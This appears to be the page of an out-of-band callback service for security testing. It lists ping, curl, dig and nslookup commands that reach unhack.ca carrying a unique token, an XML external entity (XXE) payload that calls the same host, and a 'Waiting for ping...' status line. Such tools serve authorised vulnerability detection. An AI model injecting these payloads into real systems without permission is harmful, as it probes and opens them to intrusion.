$ ping -c1 -p 004c4156517ec36368819ea277c36000 unhack.ca
 
$ curl http://unhack.ca/p/4c4156517ec36368819ea277c360
 
$ dig 4c4156517ec36368819ea277c360 @unhack.ca
 
$ dig 4c4156517ec36368819ea277c360.ns.unhack.ca
 
C:\> nslookup 4c4156517ec36368819ea277c360 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/4c4156517ec36368819ea277c360">]>
    <foo>&xxe;</foo>
Waiting for ping...